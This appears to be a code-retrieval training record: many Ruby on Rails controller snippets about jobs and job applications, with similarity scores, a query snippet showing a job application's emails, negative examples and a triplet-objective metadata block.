"def done\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.done(params[:success] || params[:success] == 'true')\n flash[:notice] = @job.successful ? 'Job was successfully finished.' : 'Job was finished with errors.'\n Notifier.deliver_notify_user_of_job_completion(@job) if @job.is_notifiable?\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def job_done job, results\n puts \"#{name}: Done #{job.id}\"\n jc = Job::COMPLETE_TEMPLATE.dup\n jc['id'] = job.id\n jc['result'] = results\n ts.write jc\n end",
"def mark_as_finished\n result = V1::StudyHour::MarkAsFinished.(params, current_user: @current_user)\n if result.success?\n render json: result['model'], status: :ok\n elsif result['result.policy.failure']\n render json: { 'errors': [] }, status: :unauthorized\n else\n render json: {\n 'errors': result['model'].errors.full_messages\n }, status: :unprocessable_entity\n end\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def success(job)\n complete()\n end",
"def finish\n respond_to do |format|\n if @work_card.finish!\n format.html { redirect_to work_card_path(@work_card), notice: 'Work card was successfully finished.' }\n format.json { render action: 'show', status: :started, location: @work_card }\n else\n format.html { redirect_to work_card_path(@work_card) }\n format.json { render json: @work_card.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def completed\n @job = Job.find(params[:id])\n if @job.employer_id.eql?(current_user.id)\n # pay the user the money for completing the job\n @employee = User.find(@job.employee_id)\n @employee = @employee.specific\n @employee.update_attributes(:money => @employee.money + @job.pay)\n \n # notify the employee that he got paid\n @notification = Notification.new({:subject => \"Congratulations on completing a job!\", \n :description => \"You have completed a job and have been paid for it.\", \n :read => false, :user_id => @job.employee_id})\n @notification.save\n \n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url}\n format.json { head :no_content }\n end\n \n else\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'You cannot edit this job.'}\n format.json { head :no_content }\n end\n end\n end",
"def index\n @job_applications = JobApplication.all\n end",
"def completing_work\n self.completed_at = Time.now\n\n # Log to recent_activities on request completion.\n request_data = name.blank? ? number : name\n req_link = request_link(number)\n\n # BJB Script and REST dont have current user\n log_user = User.current_user.nil? ? self.backup_owner : User.current_user\n\n # TODO: RJ: Rails 3: Log Activity plugin not compatible with rails 3\n #log_user.log_activity(:context => \"#{req_link} has been #{aasm_state}\") do\n freeze_request!\n #end\n update_properties # Now commit properties on completed request\n\n # if there is a run for this request, let it know we are done\n self.run.try(:request_completed, self)\n self.push_msg\n\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url}\n format.json { head :no_content }\n end\n end",
"def job\n fetch('games.final_fantasy_xiv.jobs')\n end",
"def submission\n if @job.status?\n @application = Application.new(application_params)\n email_api = Email_api.new\n if email_api.email(@application)\n render json: @application, status: :OK\n else\n render json: @application.errors, status: :bad_request\n end\n else\n render plain: job_not_active, status: :unprocessable_entity\n end\n end",
"def destroy\n @launched_job.destroy\n respond_to do |format|\n format.html { redirect_to launched_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def finish\n return unless @jobs\n @jobs.each(&:finish)\n end",
"def communicate_complete\n File.open(\"#{@options[:output_directory]}/finished.job\", 'w') { |f| f << \"Finished Workflow #{::Time.now} #{@options}\" }\n raise 'Missing required options' unless @options[:url] && @options[:datapoint_id] && @options[:project_id]\n send_status('Complete')\n send_file(\"#{@options[:output_directory]}/run.log\")\n Dir.glob(\"#{@options[:output_directory]}/../reports/*\").each do |f|\n next if File.basename(f) == 'view_model_report.json'\n\n send_file(f)\n end\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def destroy\n @job_application.delete\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: t('job_applications_controller.job_applications_delete_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def communicate_complete\r\n File.open(\"#{@options[:output_directory]}/finished.job\", 'w') { |f| f << \"Finished Workflow #{::Time.now}\" }\r\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def job_completed(job)\n report_success(job) if job['on_success']\n if job['period'] && job['period'].to_i > 0\n job['status'] = 'queued'\n job['make_after'] = job['period']\n job['args'].delete(:job_itself)\n storage.save(job) { |job| schedule(job) }\n else\n if JR.config[:remove_done_jobs]\n storage.destroy(job)\n else\n job['status'] = 'complete'\n storage.save(job)\n end\n end\n end",
"def complete\n @project.complete!\n respond_to do |format|\n format.html { redirect_to request.referer||project_path(@project), notice: 'Project completed successfully!' }\n format.json { head :no_content }\n end\n end",
"def jobs\n\t\t# ...\n\tend",
"def destroy\n @pending_job.destroy\n respond_to do |format|\n format.html { redirect_to pending_jobs_url, notice: 'Pending job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def success\n jobs_index(Job.success)\n end",
"def destroy\n @application = Application.find(params[:id])\n return unless appAccess?(@application.job.id)\n id = @application.job.id\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to show_apps_path(:id=>id) }\n format.json { head :no_content }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def index\n @job_results = JobResult.all\n end",
"def job_complete(job)\n @job = job\n mail subject: \"Job Complete\"\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def terminate\n find_job\n if @job.nil?\n type = :error\n text = \"Sorry, this job does not exist or is not accessible by you\"\n path = api_jobs_path\n\n render json: { path: path, message: { type: type, text: text } }, adapter: :json\n return\n end\n if [email protected]?\n DNAnexusAPI.new(@context.token).call(@job.dxid, \"terminate\")\n type = :success\n text = \"Job was successfully terminated\"\n else\n type = :warning\n text = \"Job is in terminal state and can not be terminated\"\n end\n path = api_job_path(@job)\n\n render json: { path: path, message: { type: type, text: text } }, adapter: :json\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def destroy\n record_activity :destroy, @job # Must come before the destroy action.\n if @job.destroy\n logger.info \"#{@job} destroyed successfully\"\n flash_t :success, t(\".job_destroyed_successfully\")\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n else\n record_activity :destroy_failed, @job\n if [email protected]?\n logger.warn \"#{@job} not destroyed because not canceled\"\n flash_t :danger, t(\".job_not_destroyed_because_not_canceled\")\n else\n logger.error \"Unable to destroy: #{@job}\"\n flash_t :danger, t(\".unable_to_destroy_job\")\n end\n respond_to do |format|\n format.html { redirect_to @job }\n format.json { head :no_content }\n end\n end\n end",
"def finish_job job\n job_id = job.respond_to?(:id) ? job.id : job\n @current_jobs.delete job_id\n @job_pids.delete(job_id)\n end",
"def destroy\n @jobapplication.destroy\n respond_to do |format|\n format.html { redirect_to jobapplications_url, notice: 'Jobapplication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def finish(job, result = nil)\n job.result = result if result.is_a?(Hash) && result.any?\n call_script(Conflow::Redis::CompleteJobScript, job)\n queue_available_jobs\n destroy! if finished?\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def finish!\n Todoable.client.put(\"#{path}/finish\")\n true\n end",
"def notify_finishing\n @color = GREEN\n @msg = \"Deployment Finished\"\n post\n end",
"def destroy\n @job_site_application.destroy\n respond_to do |format|\n format.html { redirect_to job_site_applications_url }\n format.json { head :no_content }\n end\n end",
"def getCurrentJobs\n getJobs('0/')\n end",
"def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render json: {:jobs => Job.where('branch_id = ?', current_user.branch_id).order(id: :desc),\n :branch_id => current_user.branch_id }\n end",
"def index\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job_scope_additions = JobScopeAddition.find_all_by_jobs_id(@job.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @job_scope_additions }\n end\n end",
"def index\n render status: :ok, json: { status: 'done' }.to_json\n\tend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def incompleted\n @job = Job.find(params[:id])\n # refund the employer his money if he deletes the job\n @employer = User.find(@job.employer_id)\n @employer = @employer.specific\n @employer.update_attributes(:money => @employer.money + @job.pay)\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def job_results(jobid)\r\n wait_on_status(jobid)\r\n puts \"Retrieving results for job [#{jobid}]\"\r\n uri = URI(\"http://api.idolondemand.com/1/job/result/\" + jobid)\r\n uri.query = URI.encode_www_form(:apikey => $api_key)\r\n res = Net::HTTP.get_response(uri, p_addr = $proxy_host, p_port = $proxy_port)\r\n return JSON.parse(res.body)['actions']\r\nend",
"def successfully_applied_for_job\n flash[:alert] = \"You have applied for the job :)\"\n end",
"def finished\n @tasks = @project.tasks.finished(true).paginate(:page => params[:page])\n @allow_reordering = false\n @final = true\n \n respond_to do |format|\n format.html # finished.html.erb\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n jobs = Job.all.map do |job|\n { title: job.title, timerange: job.timerange }\n end\n \n render json: { results: jobs }.to_json, status: :ok\n end",
"def work_complete(job_handle, data)\n send_client :work_complete, job_handle, data\n \n job = worker_queue.dequeue job_handle\n job.status = \"Success\"\n job.result = data\n logger.debug \"JOB RESULT: #{data}\"\n job.save\n \n \n end",
"def kill\n @job = Job.find params[:id]\n @job.kill!\n\n respond_to do |format|\n format.html { redirect_to job_path(@job) }\n format.json {\n render :json => @job,\n :methods => [:status_name, :percentage, :total, :completed, :error, :ended?]\n }\n end\n end",
"def index\n @job_site_applications = JobSiteApplication.all\n end",
"def index\n \n @meeting_threads = @current_user.available_jobs\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_threads }\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def close_job\n @job = Job.find(params[:id])\n if @job.update_attribute(:status, \"closed\")\n response_message = {:message => \"This job is closed successfully.\", :job => @job}\n else\n response_message = {:message => \"Failed to close this job. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message }\n format.json { render :json => response_message }\n end\n end",
"def finish_response; end",
"def fetch\n counter = params[:counter]\n if Job.isDone?(counter)\n render :status => 200, :text => Job.getResult(counter)\n else\n render :status => 202, :text => ''\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n flash[:success] = \"Job successfully destroyed\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def complete_job()\n puts \"Completing job id #{@job.id}\"\n connect()\n @server.puts(Command::COMPLETE_JOB)\n @server.puts(@job.id)\n # Send the encoded file\n FileTransfer.send(@server,@job.destination)\n disconnect()\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_queue\n @list = current_user.list\n if @list.add_job(params[:id])\n respond_to do |format|\n format.json { render :json => @list.jobs }\n end\n else\n flash[:errors] = \"Sorry, something went wrong\"\n redirect_to :back\n end\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def destroy\n #@jobapp = Jobapp.find(params[:id])\n @jobapp.destroy\n\n respond_to do |format|\n format.html { redirect_to jobapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @act_job.destroy\n respond_to do |format|\n format.html { redirect_to act_jobs_url, notice: 'Act job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def log_job_end(name, message = nil)\n ellapsed = Time.now - job_started_at\n ms = (ellapsed.to_f * 1000).to_i\n action_word = message ? 'Finished' : 'Completed'\n log_info(\"#{action_word} #{name} in #{ms}ms #{message}\")\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def processing\n result = RegisterCheckerApi.job_status(job_name, job_correlation_id)\n return if result == 'RUNNING'\n\n if result == 'SUCCESS'\n session[:job] = nil\n flash[:success] = I18n.t('database_updated')\n redirect_to authenticated_root_path\n else\n redirect_to authenticated_root_path, alert: 'Uploaded file is not valid'\n end\n end",
"def destroy\n @applied_job.destroy\n respond_to do |format|\n format.html { redirect_to applied_jobs_url, notice: 'Applied job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def mark_finished\n if view_context.signed_in?\n task = Task.find(params[:task][:id])\n if task.nil?\n render :json => {:errors => \"Invalid task\"}, :status => 400\n else\n task_actor = task.task_actors.find_by_user_id(current_user[:id])\n if task_actor.nil?\n render :json => {:errors => \"Unauthorized action\"}, :status => 400\n else\n task.update(finished: true, finished_date: Date.today)\n result = {}\n result[:details] = task\n result[:due] = {}\n task.task_actors.each do |a|\n result[:members][a[:user_id]] = a[:order]\n end\n render :json => result.to_json, :status => 200\n end\n end\n else\n redirect_to '/'\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, success: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def finished!\n t = Time.now.utc\n update_attribute(:finished_at, t)\n # Save errors counts\n if errs = error_messages\n BackupJobError.increment_errors_count(*errs)\n end\n backup_source.backup_complete!\n on_finish :errors => errs, :messages => messages\n end"
] |
[
"0.65828496",
"0.62854946",
"0.61899877",
"0.6179979",
"0.6116521",
"0.60426384",
"0.6017907",
"0.6008345",
"0.59705746",
"0.5970438",
"0.5968134",
"0.5959194",
"0.5938749",
"0.59231687",
"0.5883736",
"0.5883736",
"0.5882715",
"0.58731884",
"0.5872551",
"0.5847961",
"0.58478594",
"0.58363867",
"0.58263284",
"0.58215904",
"0.58215904",
"0.5814635",
"0.58117354",
"0.58097523",
"0.5749934",
"0.57451314",
"0.5743832",
"0.57428896",
"0.5711967",
"0.5711055",
"0.5706901",
"0.57025814",
"0.5688876",
"0.56704235",
"0.5654701",
"0.5654701",
"0.5649497",
"0.5644313",
"0.5643782",
"0.56342906",
"0.56305826",
"0.56305826",
"0.56305826",
"0.5626625",
"0.5624757",
"0.56123215",
"0.56083816",
"0.5608324",
"0.56058776",
"0.5603283",
"0.5587714",
"0.5585659",
"0.5576909",
"0.5574748",
"0.55696744",
"0.55510736",
"0.55505615",
"0.55503744",
"0.5547835",
"0.5545882",
"0.5538356",
"0.5528757",
"0.5526622",
"0.5526125",
"0.5518941",
"0.5518781",
"0.5511566",
"0.55036706",
"0.55023634",
"0.5496561",
"0.5495186",
"0.54835176",
"0.54828674",
"0.5476775",
"0.5467531",
"0.5465179",
"0.54649425",
"0.545971",
"0.5458002",
"0.54579294",
"0.54566306",
"0.54566306",
"0.54566306",
"0.54566306",
"0.5456366",
"0.5456366",
"0.5445712",
"0.5442653",
"0.54350877",
"0.54340684",
"0.54266256",
"0.5426126",
"0.54255086",
"0.5423893",
"0.5418789",
"0.5410729"
] |
0.8169349
|
0
|
GET /account/job_applications/1 GET /account/job_applications/1.json
|
def show
@emails = @job_application.emails.order(created_at: :desc)
@email = @job_application.emails.new
render layout: request.xhr? ? false : true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @job_applications = JobApplication.all\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def index\n @user=current_user\n @jobapplications = @user.jobapplications\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def index\n @job_site_applications = JobSiteApplication.all\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if current_user.role == 'employee'\n @job_applications_made = current_user.employee.job_applications\n else\n @job_applications = JobApplication.all\n end\n end",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def applications_list\n get \"applications\"\n end",
"def index\n @jobapps = Jobapp.all\n @jobapp = Jobapp.new\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def index\n jobs = current_user.hr.jobs\n @applications = Array.new\n jobs.each do |job|\n job_faculties_map = Hash.new\n job_faculties_map[job] = Array.new\n if job.faculties.length > 0\n job.faculties.each do |faculty|\n job_faculties_map[job] << faculty\n end\n @applications << job_faculties_map\n end\n end\n @applications\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def index\n @jobs = Job.all\n if current_role == :admin\n @applications = Application.all\n elsif current_role == :recruiter\n @applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}\n else\n @applications = Application.all.select{|n| n.user_id==current_user.id}\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n \n @job = Job.find(params[:id])\n @application = Application.find(:first,:conditions=>['job_id=? and user_id=?',@job.id,current_user.id]) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @other_job_applications = @job_application.user.job_applications.where.not(id: @job_application.id)\n render layout: request.xhr? ? false : \"admin/simple\"\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
